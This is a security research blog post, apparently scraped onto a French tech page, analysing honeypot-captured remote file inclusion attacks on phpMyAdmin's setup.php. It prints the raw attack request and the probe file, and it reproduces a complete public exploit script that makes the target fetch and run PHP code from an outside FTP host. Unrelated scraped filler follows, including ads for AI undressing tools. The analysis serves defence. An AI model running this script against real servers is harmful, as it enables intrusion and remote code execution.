PhpMyAdmin setup.php RFI Attacks Detected
SpiderLabs is the corporate sponsor of the WASC Distributed Web Honeypots Project which is an awesome research project to identify automated web attacks. I was looking in our centralModSecurity AuditConsole logging host today and I noticed
SpiderLabs is the corporate sponsor of the WASC Distributed Web Honeypots Project which is an awesome research project to identify automated web attacks. I was looking in our central ModSecurity AuditConsole logging host today and I noticed a spike in traffic from some Russian IPs that were scanning for the PMASA-2010-4 vulnerability in the PhpMyAdmin setup.php script.
Let's look at the raw ModSecurity audit log data of the inbound request:
--4064df0e-A-- [10/Apr/2012:18:05:55 +0000] T4R2gwowybkAAHp9G@sAAAAF 212.24.61.167 38767 XXX.XXX.XXX.XXX 80 --4064df0e-B-- POST /pma/scripts/setup.php HTTP/1.1 Connection: close Host: 176.34.207.219 Referer: 176.34.207.219 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en] Content-Type: application/x-www-form-urlencoded Content-Length: 238 --4064df0e-C-- action=lay_navigation&eoltype=unix&token=&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A55%3A%22ftp%3A%2F%2Fthewinecompany%3AgXNbUEwfLa%4046%2E32%2E228%2E222%2F%2Ea%2Fid%2Etxt%22%3B%7D%7D
If we URL decode the request body data, we get this:
action=lay_navigation&eoltype=unix&token=&configuration=a:1:{i:0;O:10:"PMA_Config":1: {<span><strong>s:6:"source";s:55:"ftp://thewinecompany:gXNbUEwfLa@46.32.228.222/.a/id.txt"</strong></span>;}}
As you can see, the attacker is attempting overwrite the PhpMyAdmin configuration file by instructing it to use FTP to download and run the "id.txt" file on a remote site. The contents of the id.txt file is PHP code:
<?php print(base64_decode("c3Q0cjc=")); echo(php_uname()); print(base64_decode("ZjFuMTVo")); die; ?>
Looking at what this file is doing, it appears to be a simple probe to identify if the target web application is vulnerable to this type of RFI attack. If the application responds with the output from these PHP commands, then the attacker will proceed with other attacks. SpiderLabs Research was able to find the following script in public forums that launch similar attacks:
/* wtf zmeu was here haha,yeah me... found this sh*t bug on pmasux */ $arguments = getopt("a:b:c"); $pma_setup_url = $arguments[a]; //echo $arguments[a]; $ftp_code = 'ftp://devil:devil@85.10.138.51/c.txt'; //$method = POST|GET, $url = http://site.com/path, $data = foo1=bar1&foo2=bar2, referer, cookie, useragent function send_data($method, $url, $data = '', $referer_string = '', $cookie_string = '', $ua_string = '') { $return = ''; $feof_count = 0; $parsed_url = parse_url($url); $site = $parsed_url; $path = $parsed_url; $query = $parsed_url; ($method == 'GET' && !empty($data)) ? $path .= '?'.$data : ''; ($method == 'POST' && !empty($query)) ? $path .= '?'.$query : ''; $fp = fsockopen($site, 80, $errno, $errstr, 30); ($method == 'POST') ? $out = "POST $path HTTP/1.1\r\n" : $out = "GET $path HTTP/1.1\r\n"; $out .= "Host: $site\r\n"; $out .= "Content-type: application/x-www-form-urlencoded\r\n"; $out .= "Connection: Close\r\n"; $out .= "User-Agent: $ua_string\r\n"; $out .= "Referer: $referer_string\r\n"; $out .= "Cookie: $cookie_string\r\n"; ($method == 'POST') ? $out .= "Content-Length: ".strlen($data)."\r\n\r\n" : $out .= "\r\n"; ($method == 'POST') ? fwrite($fp, $out.$data) : fwrite($fp, $out); while (!feof($fp)) { if($feof_count >=200) break; $return .= fread($fp, 4800); ++$feof_count; } fclose($fp); return $return; } $token_page = send_data('GET',$pma_setup_url,'',$pma_setup_url,'','Opera'); preg_match('@name="token" value="(a-f0-9{32})"@is',$token_page,$token_array); $token = $token_array[1]; preg_match_all('@Set-Cookie: (<span>^\r\n;</span>+)@is',$token_page,$cookie_array); $cookie_array = $cookie_array[1]; $cookie_array = implode("; ",$cookie_array); print send_data('POST',$pma_setup_url,'action=lay_navigation&eoltype=unix&token='.$token.'&configuration='.urlencode('a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:'.strlen($ftp_code).':"'.$ftp_code.'";}}'),$pma_setup_url,$cookie_array,'Opera');
This issue was patched in the php source code with the following update:
By filtering out non-word characters, it would prevent the attacker from injecting the RFI code.

Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

Video Face Swap
Échangez les visages dans n'importe quelle vidéo sans effort grâce à notre outil d'échange de visage AI entièrement gratuit !

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

La clé primaire d'une table est constituée d'une ou plusieurs colonnes qui identifient de manière unique chaque enregistrement de la table. Voici les étapes pour définir une clé primaire : Connectez-vous à phpMyAdmin. Sélectionnez la base de données et la table. Cochez la colonne que vous souhaitez utiliser comme clé primaire. Cliquez sur "Enregistrer les modifications". Les clés primaires offrent des avantages en matière d’intégrité des données, de vitesse de recherche et de modélisation des relations.

Emplacement par défaut des fichiers journaux PHPMyAdmin : Linux/Unix/macOS:/var/log/phpmyadminWindows : C:\xampp\phpMyAdmin\logs\ Objectif du fichier journal : Dépannage de la sécurité de l'audit

L'ajout d'une clé étrangère dans phpMyAdmin peut être réalisé en suivant ces étapes : Sélectionnez la table parent qui contient la clé étrangère. Modifiez la structure de la table parent et ajoutez de nouvelles colonnes dans "Colonnes". Activez les contraintes de clé étrangère et sélectionnez la table et la clé de référencement. Définir les opérations de mise à jour/suppression. Sauvegarder les modifications.

Le nom d'utilisateur et le mot de passe par défaut pour PHPMyAdmin sont root et vides. Pour des raisons de sécurité, il est recommandé de modifier le mot de passe par défaut. Méthode pour changer le mot de passe : 1. Connectez-vous à PHPMyAdmin ; 2. Sélectionnez « privilèges » 3. Saisissez le nouveau mot de passe et enregistrez-le. Lorsque vous oubliez votre mot de passe, vous pouvez le réinitialiser en arrêtant le service MySQL et en modifiant le fichier de configuration : 1. Ajoutez la ligne skip-grant-tables ; 2. Connectez-vous à la ligne de commande MySQL et réinitialisez le mot de passe root ; la table des autorisations ; 4. Supprimez la ligne skip-grant-tables, redémarrez le service MySQL.

La base de données WordPress est hébergée dans une base de données MySQL qui stocke toutes les données du site Web et est accessible via le tableau de bord de votre fournisseur d'hébergement, FTP ou phpMyAdmin. Le nom de la base de données est lié à l'URL du site Web ou au nom d'utilisateur, et l'accès nécessite l'utilisation des informations d'identification de la base de données, notamment le nom, le nom d'utilisateur, le mot de passe et le nom d'hôte, qui sont généralement stockés dans le fichier « wp-config.php ».

Raisons et solutions d'accès refusé par phpMyAdmin : Échec de l'authentification : Vérifiez si le nom d'utilisateur et le mot de passe sont corrects. Erreur de configuration du serveur : ajustez les paramètres du pare-feu et vérifiez si le port de la base de données est correct. Problème d'autorisations : accorder aux utilisateurs l'accès à la base de données. Délai d'expiration de la session : actualisez la page du navigateur et reconnectez-vous. Erreur de configuration phpMyAdmin : vérifiez le fichier de configuration et les autorisations du fichier pour vous assurer que les modules Apache requis sont activés. Problème de serveur : attendez un moment et réessayez ou contactez votre fournisseur d'hébergement.

Étapes pour supprimer une table de données dans phpMyAdmin : Sélectionnez la base de données et la table de données ; cliquez sur l'onglet « Action » ; sélectionnez l'option « Supprimer » ; confirmez et effectuez l'opération de suppression.

Les vues associées peuvent être trouvées dans le sous-menu Vues sous l'onglet Structure de phpMyAdmin. Pour y accéder, sélectionnez simplement la base de données, cliquez sur l'onglet "Structure", puis cliquez sur le sous-menu "Affichage".
